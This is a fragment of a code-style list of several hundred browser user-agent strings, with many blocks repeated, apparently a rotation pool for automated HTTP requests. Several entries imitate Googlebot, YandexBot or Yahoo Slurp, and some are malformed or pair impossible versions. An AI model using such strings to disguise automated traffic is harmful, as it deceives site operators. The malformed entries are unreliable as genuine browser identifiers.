'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3',
'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
'Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0',
'Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0',
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0',
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
'Mozilla/5.0(compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)',
'Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)',
'Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+',
'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+',
'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+',
'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5',
'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25',
'Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10',
'Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3',
'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
'Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0',
'Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0',
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0',
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
'Mozilla/5.0(compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)',
'Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)',
'Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+',
'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+',
'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+',
'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5',
'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25',
'Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10',
'Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
